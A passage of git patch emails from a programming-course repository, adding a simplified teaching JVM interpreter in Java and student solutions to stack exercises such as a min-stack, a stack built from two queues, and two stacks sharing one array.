diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/JavaObject.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..edce5aad4f
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/JavaObject.java
@@ -0,0 +1,82 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+    public static final int OBJECT = 1;
+    public static final int STRING = 2;
+    public static final int INT = 3;
+    public static final int FLOAT = 4;
+
+    int type;
+    private String className;
+
+    private Map<String, JavaObject> fieldValues = new HashMap<String, JavaObject>();
+
+    private String stringValue;
+
+    private int intValue;
+
+    private float floatValue;
+
+    public void setFieldValue(String fieldName, JavaObject fieldValue) {
+	fieldValues.put(fieldName, fieldValue);
+    }
+
+    public JavaObject(int type) {
+	this.type = type;
+    }
+
+    public void setClassName(String className) {
+	this.className = className;
+    }
+
+    public void setStringValue(String value) {
+	stringValue = value;
+    }
+
+    public String getStringValue() {
+	return this.stringValue;
+    }
+
+    public void setIntValue(int value) {
+	this.intValue = value;
+    }
+
+    public int getIntValue() {
+	return this.intValue;
+    }
+
+    public int getType() {
+	return type;
+    }
+
+    public JavaObject getFieldValue(String fieldName) {
+	return this.fieldValues.get(fieldName);
+    }
+
+    public String toString() {
+	switch (this.getType()) {
+	case INT:
+	    return String.valueOf(this.intValue);
+	case STRING:
+	    return this.stringValue;
+	case OBJECT:
+	    return this.className + ":" + this.fieldValues;
+	case FLOAT:
+	    return String.valueOf(this.floatValue);
+	default:
+	    return null;
+	}
+    }
+
+    public String getClassName() {
+	return this.className;
+    }
+
+    public void setFloatValue(float value) {
+	this.floatValue = value;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MethodArea.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..0e102b8765
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MethodArea.java
@@ -0,0 +1,83 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
+import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
+import com.github.HarryHook.coding2017.jvm.loader.ClassFileLoader;
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+public class MethodArea {
+
+    public static final MethodArea instance = new MethodArea();
+
+    /**
+     * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+     */
+
+    private ClassFileLoader clzLoader = null;
+
+    Map<String, ClassFile> map = new HashMap<String, ClassFile>();
+
+    private MethodArea() {
+    }
+
+    public static MethodArea getInstance() {
+	return instance;
+    }
+
+    public void setClassFileLoader(ClassFileLoader clzLoader) {
+	this.clzLoader = clzLoader;
+    }
+
+    public Method getMainMethod(String className) {
+
+	ClassFile clzFile = this.findClassFile(className);
+
+	return clzFile.getMainMethod();
+    }
+
+    public ClassFile findClassFile(String className) {
+
+	if (map.get(className) != null) {
+	    return map.get(className);
+	}
+	// 看来该class 文件还没有load过
+	ClassFile clzFile = this.clzLoader.loadClass(className);
+
+	map.put(className, clzFile);
+
+	return clzFile;
+
+    }
+
+    public Method getMethod(String className, String methodName, String paramAndReturnType) {
+
+	ClassFile clz = this.findClassFile(className);
+
+	Method m = clz.getMethod(methodName, paramAndReturnType);
+
+	if (m == null) {
+
+	    throw new RuntimeException("method can't be found : \n" + "class: " + className + "method: " + methodName
+		    + "paramAndReturnType: " + paramAndReturnType);
+	}
+
+	return m;
+    }
+
+    public Method getMethod(MethodRefInfo methodRef) {
+
+	ClassFile clz = this.findClassFile(methodRef.getClassName());
+
+	Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+
+	if (m == null) {
+	    throw new RuntimeException("method can't be found : " + methodRef.toString());
+	}
+
+	return m;
+
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MiniJVM.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..95cc99974e
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.github.HarryHook.coding2017.jvm.loader.ClassFileLoader;
+
+public class MiniJVM {
+
+    public void run(String[] classPaths, String className) throws FileNotFoundException, IOException {
+
+	ClassFileLoader loader = new ClassFileLoader();
+	for (int i = 0; i < classPaths.length; i++) {
+	    loader.addClassPath(classPaths[i]);
+	}
+
+	MethodArea methodArea = MethodArea.getInstance();
+
+	methodArea.setClassFileLoader(loader);
+
+	ExecutorEngine engine = new ExecutorEngine();
+
+	className = className.replace(".", "/");
+
+	engine.execute(methodArea.getMainMethod(className));
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/OperandStack.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/OperandStack.java
new file mode 100644
index 0000000000..cd468c79f6
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/OperandStack.java
@@ -0,0 +1,29 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class OperandStack {
+    private List<JavaObject> operands = new ArrayList<JavaObject>();
+
+    public void push(JavaObject jo) {
+	operands.add(jo);
+    }
+
+    public JavaObject pop() {
+	int index = size() - 1;
+	JavaObject jo = (JavaObject) operands.get(index);
+	operands.remove(index);
+	return jo;
+
+    }
+
+    public JavaObject top() {
+	int index = size() - 1;
+	return (JavaObject) operands.get(index);
+    }
+
+    public int size() {
+	return operands.size();
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/StackFrame.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..8ceee230dd
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/engine/StackFrame.java
@@ -0,0 +1,116 @@
+package com.github.HarryHook.coding2017.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
+import com.github.HarryHook.coding2017.jvm.method.Method;
+
+public class StackFrame {
+
+    private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+    private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+
+    int index = 0;
+
+    private Method m = null;
+
+    private StackFrame callerFrame = null;
+
+    public StackFrame getCallerFrame() {
+	return callerFrame;
+    }
+
+    public void setCallerFrame(StackFrame callerFrame) {
+	this.callerFrame = callerFrame;
+    }
+
+    public static StackFrame create(Method m) {
+
+	StackFrame frame = new StackFrame(m);
+
+	return frame;
+    }
+
+    private StackFrame(Method m) {
+	this.m = m;
+
+    }
+
+    public JavaObject getLocalVariableValue(int index) {
+	return this.localVariableTable.get(index);
+    }
+
+    public Stack<JavaObject> getOprandStack() {
+	return this.oprandStack;
+    }
+
+    public int getNextCommandIndex(int offset) {
+
+	ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
+	for (int i = 0; i < cmds.length; i++) {
+	    if (cmds[i].getOffset() == offset) {
+		return i;
+	    }
+	}
+	throw new RuntimeException("Can't find next command");
+    }
+
+    public ExecutionResult execute() {
+
+	ByteCodeCommand[] cmds = m.getCmds();
+
+	while (index < cmds.length) {
+
+	    ExecutionResult result = new ExecutionResult();
+	    // 缺省值是执行下一条命令
+	    result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+
+	    System.out.println(cmds[index].toString());
+
+	    cmds[index].execute(this, result);
+
+	    if (result.isRunNextCmd()) {
+		index++;
+	    } else if (result.isExitCurrentFrame()) {
+		return result;
+	    } else if (result.isPauseAndRunNewFrame()) {
+		index++;
+		return result;
+	    } else if (result.isJump()) {
+		int offset = result.getNextCmdOffset();
+		this.index = getNextCommandIndex(offset);
+	    } else {
+		index++;
+	    }
+
+	}
+
+	// 当前StackFrmae的指令全部执行完毕，可以退出了
+	ExecutionResult result = new ExecutionResult();
+	result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+	return result;
+
+    }
+
+    public void setLocalVariableTable(List<JavaObject> values) {
+	this.localVariableTable = values;
+    }
+
+    public void setLocalVariableValue(int index, JavaObject jo) {
+	// 问题： 为什么要这么做？？
+	if (this.localVariableTable.size() - 1 < index) {
+	    for (int i = this.localVariableTable.size(); i <= index; i++) {
+		this.localVariableTable.add(null);
+	    }
+	}
+	this.localVariableTable.set(index, jo);
+
+    }
+
+    public Method getMethod() {
+	return m;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
index 08b8ff029b..344177f549 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/method/Method.java
@@ -4,6 +4,9 @@
 import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
 import com.github.HarryHook.coding2017.jvm.cmd.ByteCodeCommand;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import javax.management.RuntimeErrorException;
 
 import com.github.HarryHook.coding2017.jvm.attr.AttributeInfo;
@@ -54,26 +57,28 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
 	int nameIndex = iter.nextU2ToInt();
 	int descriptorIndex = iter.nextU2ToInt();
 	int attributeCount = iter.nextU2ToInt();
-	
+
 	Method m = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
-	
-	for(int i=1; i<=attributeCount; i++) {
+
+	for (int i = 1; i <= attributeCount; i++) {
 	    int attrNameIndex = iter.nextU2ToInt();
 	    String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
 	    iter.back(2);
-	    
-	    if(AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
+
+	    if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
 		CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
 		m.setCodeAttr(codeAttr);
 	    } else {
 		throw new RuntimeException("only Attribute is complemented!");
 	    }
-	    
+
 	}
 	return m;
 
     }
-    public String toString(ConstantPool pool) {
+
+    public String toString() {
+	ConstantPool pool = this.clzFile.getConstantPool();
 	StringBuffer buffer = new StringBuffer();
 	String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
 	String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
@@ -81,7 +86,66 @@ public String toString(ConstantPool pool) {
 	buffer.append(this.codeAttr.toString(pool));
 	return buffer.toString();
     }
-    public ByteCodeCommand[] getCmds() {		
+
+    public ByteCodeCommand[] getCmds() {
 	return this.getCodeAttr().getCmds();
-}
+    }
+
+    private String getParamAndReturnType() {
+	UTF8Info nameAndTypeInfo = (UTF8Info) this.getClzFile().getConstantPool()
+		.getConstantInfo(this.getDescriptorIndex());
+	return nameAndTypeInfo.getValue();
+    }
+
+    public List<String> getParameterList() {
+
+	// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+	String paramAndType = getParamAndReturnType();
+
+	int first = paramAndType.indexOf("(");
+	int last = paramAndType.lastIndexOf(")");
+	// e.g. Ljava/util/List;Ljava/lang/String;II
+	String param = paramAndType.substring(first + 1, last);
+
+	List<String> paramList = new ArrayList<String>();
+
+	if ((null == param) || "".equals(param)) {
+	    return paramList;
+	}
+
+	while (!param.equals("")) {
+
+	    int pos = 0;
+	    // 这是一个对象类型
+	    if (param.charAt(pos) == 'L') {
+
+		int end = param.indexOf(";");
+
+		if (end == -1) {
+		    throw new RuntimeException("can't find the ; for a object type");
+		}
+		paramList.add(param.substring(pos + 1, end));
+
+		pos = end + 1;
+
+	    } else if (param.charAt(pos) == 'I') {
+		// int
+		paramList.add("I");
+		pos++;
+
+	    } else if (param.charAt(pos) == 'F') {
+		// float
+		paramList.add("F");
+		pos++;
+
+	    } else {
+		throw new RuntimeException("the param has unsupported type:" + param);
+	    }
+
+	    param = param.substring(pos);
+
+	}
+	return paramList;
+
+    }
 }
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/MiniJVMTest.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..d30ddd7c26
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/test/MiniJVMTest.java
@@ -0,0 +1,29 @@
+package com.github.HarryHook.coding2017.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.github.HarryHook.coding2017.jvm.engine.MiniJVM;;
+
+public class MiniJVMTest {
+
+    static final String PATH = "F:\\Coding2017\\group02\\727171008\\bin";
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testMain() throws Exception {
+	String[] classPaths = { PATH };
+	MiniJVM jvm = new MiniJVM();
+	jvm.run(classPaths, "com.github.HarryHook.coding2017.jvm.test.EmployeeV1");
+
+    }
+
+}
\ No newline at end of file

From 11319cbd905db9f8be7680b719e3f53f9ba54ec1 Mon Sep 17 00:00:00 2001
From: Harry <chenhaowei93@163.com>
Date: Wed, 3 May 2017 22:03:01 +0800
Subject: [PATCH 165/262] update stack
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

添加stack作业 : QuickMinstack , StackWithTwoQueues, TwoStackInOneArray
---
 .../coding2017/stack/QuickMinStack.java       | 22 +++++++
 .../coding2017/stack/StackWithTwoQueues.java  | 13 ++++
 .../coding2017/stack/TwoStackInOneArray.java  | 66 +++++++++++++++++++
 3 files changed, 101 insertions(+)
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java
 create mode 100644 group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java

diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
new file mode 100644
index 0000000000..2faae41b04
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
@@ -0,0 +1,22 @@
+package com.github.HarryHook.coding2017.stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * 
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+    public void push(int data) {
+
+    }
+
+    public int pop() {
+	return -1;
+    }
+
+    public int findMin() {
+	return -1;
+    }
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..ca649296f7
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java
@@ -0,0 +1,13 @@
+package com.github.HarryHook.coding2017.stack;
+
+public class StackWithTwoQueues {
+
+    public void push(int data) {
+
+    }
+
+    public int pop() {
+	return -1;
+    }
+
+}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..ed0f68ceb4
--- /dev/null
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
@@ -0,0 +1,66 @@
+package com.github.HarryHook.coding2017.stack;
+
+/**
+ * 用一个数组实现两个栈 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * 
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+    Object[] data = new Object[10];
+
+    /**
+     * 向第一个栈中压入元素
+     * 
+     * @param o
+     */
+    public void push1(Object o) {
+
+    }
+
+    /**
+     * 从第一个栈中弹出元素
+     * 
+     * @return
+     */
+    public Object pop1() {
+	return null;
+    }
+
+    /**
+     * 获取第一个栈的栈顶元素
+     * 
+     * @return
+     */
+
+    public Object peek1() {
+	return null;
+    }
+
+    /*
+     * 向第二个栈压入元素
+     */
+    public void push2(Object o) {
+
+    }
+
+    /**
+     * 从第二个栈弹出元素
+     * 
+     * @return
+     */
+    public Object pop2() {
+	return null;
+    }
+
+    /**
+     * 获取第二个栈的栈顶元素
+     * 
+     * @return
+     */
+
+    public Object peek2() {
+	return null;
+    }
+
+}

From 899a27e1248691ab3f2530eaaa53c386bc29a958 Mon Sep 17 00:00:00 2001
From: zhanglei <383117348@qq.com>
Date: Thu, 4 May 2017 10:31:46 +0800
Subject: [PATCH 166/262] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E4=BB=A3=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/stack/QuickMinStack.java | 19 +++++++
 .../basic/stack/StackWithTwoQueues.java       | 16 ++++++
 .../basic/stack/TwoStackInOneArray.java       | 57 +++++++++++++++++++
 3 files changed, 92 insertions(+)
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java
 create mode 100644 group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java

diff --git a/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java b/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java
new file mode 100644
index 0000000000..4f257ab9fb
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/QuickMinStack.java
@@ -0,0 +1,19 @@
+package com.coding.basic.stack;
+
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	public void push(int data){
+		
+	}
+	public int pop(){
+		return -1;
+	}
+	public int findMin(){
+		return -1;
+	}
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java b/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java
new file mode 100644
index 0000000000..6f1d5bd04d
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/StackWithTwoQueues.java
@@ -0,0 +1,16 @@
+package com.coding.basic.stack;
+
+
+public class StackWithTwoQueues {
+	
+
+    public void push(int data) {       
+
+    }
+
+    public int pop() {
+       return -1;
+    }
+
+    
+}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java b/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..53a902ba17
--- /dev/null
+++ b/group27/383117348/data-structure/com/coding/basic/stack/TwoStackInOneArray.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data = new Object[10];
+	
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		return null;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return null;
+	}
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		
+	}
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		return null;
+	}
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return null;
+	}
+	
+}

From 1c9a48a9c52d3923b995b0a6d833e93a1f52113a Mon Sep 17 00:00:00 2001
From: Harry <chenhaowei93@163.com>
Date: Thu, 4 May 2017 17:39:29 +0800
Subject: [PATCH 167/262] update stack
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

实现QuickMinStack, StackWithTwoQueue, TwoStackInOneArray
---
 .../coding2017/stack/QuickMinStack.java       | 50 +++++++++-
 .../coding2017/stack/StackWithTwoQueues.java  | 49 +++++++++-
 .../coding2017/stack/TwoStackInOneArray.java  | 94 ++++++++++++++++++-
 3 files changed, 184 insertions(+), 9 deletions(-)

diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
index 2faae41b04..af6bb37e2b 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
@@ -1,5 +1,11 @@
 package com.github.HarryHook.coding2017.stack;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.sun.xml.internal.ws.encoding.SwACodec;
+
 /**
  * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
  * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
@@ -8,15 +14,55 @@
  *
  */
 public class QuickMinStack {
+    Stack<Integer> s1 = new Stack<>();
+    Stack<Integer> s2 = new Stack<>();
+
     public void push(int data) {
 
+	s1.push(data);
+
+	if (s2.isEmpty()) {
+	    s2.push(data);
+	} else if (data > s2.peek()) {
+	    s2.push(s2.peek());
+	} else {
+	    s2.push(data);
+	}
+
     }
 
     public int pop() {
-	return -1;
+	if (s1.isEmpty()) {
+	    throw new RuntimeException("stack is empty");
+	}
+	s2.pop();
+	return s1.pop();
     }
 
     public int findMin() {
-	return -1;
+	if (s2.isEmpty()) {
+	    throw new RuntimeException("stack is empty");
+	}
+	return s2.peek();
+    }
+
+    public static void main(String[] args) {
+	QuickMinStack stack = new QuickMinStack();
+	stack.push(5);
+	stack.push(3);
+	stack.push(2);
+	stack.push(4);
+	stack.push(1);
+	System.out.println("findMin: " + stack.findMin());
+	System.out.println("pop: " + stack.pop());
+	System.out.println("findMin: " + stack.findMin());
+	System.out.println("pop: " + stack.pop());
+	System.out.println("findMin: " + stack.findMin());
+	System.out.println("pop: " + stack.pop());
+	System.out.println("findMin: " + stack.findMin());
+	System.out.println("pop: " + stack.pop());
+	System.out.println("findMin: " + stack.findMin());
+	System.out.println("pop: " + stack.pop());
+	System.out.println("findMin: " + stack.findMin());
     }
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java
index ca649296f7..14e109e53e 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/StackWithTwoQueues.java
@@ -1,13 +1,58 @@
 package com.github.HarryHook.coding2017.stack;
 
+import com.github.HarryHook.coding2017.queue.Queue;
+
 public class StackWithTwoQueues {
+    private Queue<Integer> queue1;
+    private Queue<Integer> queue2;
 
-    public void push(int data) {
+    public StackWithTwoQueues() {
+	queue1 = new Queue<>(); // 入栈
+	queue2 = new Queue<>(); // 出栈
+    }
+
+    public boolean isEmpty() {
+	if (queue1.isEmpty() && queue2.isEmpty()) {
+	    return true;
+	}
+	return false;
+    }
 
+    public int size() {
+	return queue1.size() + queue2.size();
+    }
+
+    public void push(int data) {
+	queue1.enQueue(data);	
     }
 
     public int pop() {
-	return -1;
+	if (isEmpty()) {
+	    throw new RuntimeException("stack is empty");
+	}
+	while(!(queue1.isEmpty())) {
+	    queue2.enQueue(queue1.deQueue());
+	}
+	int tmp = 0;
+	while(!(queue2.isEmpty())) {
+	    tmp = queue2.deQueue();
+	    if(queue2.isEmpty()) {
+		break;
+	    }
+	    queue1.enQueue(tmp);
+	}
+	return tmp;
+    }
+    public static void main(String[] args) {
+	StackWithTwoQueues stack = new StackWithTwoQueues();
+	stack.push(1);
+	stack.push(2);
+	stack.push(3);
+	System.out.println(stack.pop());
+	stack.push(43);
+	System.out.println(stack.pop());
+	System.out.println(stack.pop());
+	System.out.println(stack.pop());
     }
 
 }
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
index ed0f68ceb4..d8af1f8483 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/TwoStackInOneArray.java
@@ -1,5 +1,7 @@
 package com.github.HarryHook.coding2017.stack;
 
+import java.util.Arrays;
+
 /**
  * 用一个数组实现两个栈 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
  * 
@@ -7,7 +9,9 @@
  *
  */
 public class TwoStackInOneArray {
-    Object[] data = new Object[10];
+    Object[] data = new Object[6];
+    int i = 0;
+    int j = data.length - 1;
 
     /**
      * 向第一个栈中压入元素
@@ -15,6 +19,10 @@ public class TwoStackInOneArray {
      * @param o
      */
     public void push1(Object o) {
+	if (i > j) {
+	    expansion();
+	}
+	data[i++] = o;
 
     }
 
@@ -24,7 +32,12 @@ public void push1(Object o) {
      * @return
      */
     public Object pop1() {
-	return null;
+	if (data[0] == null) {
+	    throw new RuntimeException("stack1 is empty");
+	}
+	Object tmp = data[i - 1];
+	data[--i] = null;
+	return tmp;
     }
 
     /**
@@ -34,13 +47,17 @@ public Object pop1() {
      */
 
     public Object peek1() {
-	return null;
+	return data[i - 1];
     }
 
     /*
      * 向第二个栈压入元素
      */
     public void push2(Object o) {
+	if (i > j) {
+	    expansion();
+	}
+	data[j--] = o;
 
     }
 
@@ -50,7 +67,13 @@ public void push2(Object o) {
      * @return
      */
     public Object pop2() {
-	return null;
+	if (data[data.length - 1] == null) {
+	    throw new RuntimeException("stack2 is empty");
+	}
+	Object tmp = data[j + 1];
+	data[++j] = null;
+	return tmp;
+
     }
 
     /**
@@ -60,7 +83,68 @@ public Object pop2() {
      */
 
     public Object peek2() {
-	return null;
+	return data[j + 1];
+    }
+
+    // 给数组扩容
+    public void expansion() {
+	int oldCapacity = data.length;
+	int newCapacity = oldCapacity * 2; // 此时扩容是因为数组有可能全是stack2的元素
+	data = Arrays.copyOf(data, newCapacity);
+	int newIndex = newCapacity - 1;
+	for (int k = oldCapacity - 1; k > j; k--) {
+	    data[newIndex--] = data[k];
+	    data[k] = null;
+	}
+	j += newCapacity - oldCapacity;
+    }
+
+    public static void main(String[] args) {
+	TwoStackInOneArray stack = new TwoStackInOneArray();
+
+	stack.push1(3);
+	stack.push1(5);
+	stack.push1(6);
+	stack.push1(11);
+	System.out.println("peek1: " + stack.peek1());
+	System.out.println("pop1: " + stack.pop1());
+	System.out.println("pop1: " + stack.pop1());
+	stack.push1(61);
+	System.out.println("pop1: " + stack.pop1());
+	System.out.println("pop1: " + stack.pop1());
+	System.out.println("peek1: " + stack.peek1());
+	System.out.println("pop1: " + stack.pop1());
+
+	stack.push2(123);
+	stack.push2(1);
+	stack.push2(4);
+
+	stack.push1(3);
+	stack.push1(5);
+	stack.push1(6);
+
+	stack.push2(123);
+	stack.push2(1);
+	stack.push2(4);
+	stack.push2(12);
+	stack.push2(2);
+	stack.push2(8);
+	System.out.println("pop1: " + stack.pop1());
+	System.out.println("peek1: " + stack.peek1());
+	System.out.println("pop1: " + stack.pop1());
+	System.out.println("pop1: " + stack.pop1());
+
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+	System.out.println("pop2: " + stack.pop2());
+
     }
 
 }

From 3f0d7a926ef209bd21cd7d61f395f26b53c41efe Mon Sep 17 00:00:00 2001
From: Harry <chenhaowei93@163.com>
Date: Thu, 4 May 2017 17:45:57 +0800
Subject: [PATCH 168/262] update stack

---
 .../github/HarryHook/coding2017/stack/QuickMinStack.java    | 6 +-----
 .../HarryHook/coding2017/stack/TwoStackInOneArray.java      | 2 +-
 2 files changed, 2 insertions(+), 6 deletions(-)

diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
index af6bb37e2b..70f1d03903 100644
--- a/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
+++ b/group02/727171008/src/com/github/HarryHook/coding2017/stack/QuickMinStack.java
@@ -1,16 +1,12 @@
 package com.github.HarryHook.coding2017.stack;
 
-import java.util.ArrayList;
-import java.util.List;
 import java.util.Stack;
 
